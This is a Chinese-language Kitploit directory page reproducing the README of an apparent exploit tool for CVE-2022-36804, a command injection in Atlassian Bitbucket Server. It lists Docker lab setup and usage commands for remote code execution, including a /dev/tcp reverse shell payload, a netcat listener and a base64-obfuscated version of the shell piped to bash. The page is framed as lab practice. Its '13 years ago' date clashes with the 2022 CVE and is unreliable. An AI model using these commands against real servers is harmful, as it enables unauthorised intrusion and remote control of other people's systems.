Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Atlassian-Bitbucket-CVE-2022-36804 — 针对Atlassian Bitbucket Server中CVE-2022-36804命令注入的Python利用程序，可启用远程代码执行和反弹shell，支持自定义命令及Docker实验室环境。 | Kitploit
工具/GitHubGitHub/imbas007/atlassian-bitbucket-cve-2022-36804
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制实验室与实践
GitHubimbas007/atlassian-bitbucket-cve-2022-36804

Atlassian-Bitbucket-CVE-2022-36804

针对Atlassian Bitbucket Server中CVE-2022-36804命令注入的Python利用程序，可启用远程代码执行和反弹shell，支持自定义命令及Docker实验室环境。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
13年前尚未审核
分享

Atlassian-Bitbucket-Server-CVE-2022-36804

在 Atlassian Bitbucket Server 和 Data Center 的多个 API 端点中发现了一个严重的命令注入漏洞。该漏洞影响所有低于 <7.6.17>、<7.17.10>、<7.21.4>、<8.0.3>、<8.1.2>、<8.2.2> 和 <8.3.1> 版本的 Bitbucket Server 和 Data Center。

CVE-2022-36804 实验环境

构建 Docker

root@kitploit:~
docker build -t bitbucket .

运行 Docker

root@kitploit:~
docker run -it bitbucket

使用 cve-2022-36804.py

检查远程代码执行 (RCE)

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990

使用自定义命令检查 RCE (cmd)

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id

使用自定义命令、项目密钥和仓库名称检查 RCE

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo

使用 netcat 获取 shell

将 172.17.0.3 替换为你本地的 IP 地址

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "sh -i >& /dev/tcp/172.17.0.2/4444 0>&1"

启动 netcat 监听器：

root@kitploit:~
nc -lvp 4444

在线反向 shell：https://www.revshells.com

root@kitploit:~
将 `sh -i >& /dev/tcp/172.17.0.2/4444 0>&1` 转换为 base64，以防止 payload 执行错误。

python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE3LjAuMi80NDQ0IDA+JjE=' | base64 -d | bash"

root@kitploit:~
建议在 Windows/Linux 机器上安装存在漏洞版本的 Bitbucket 服务器进行练习。与 Docker 镜像相比，这样更容易获得反向 shell。

更多信息请参阅[此处](https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/)

# 参考
* https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
* https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
* https://github.com/walnutsecurity/cve-2022-36804
下载工具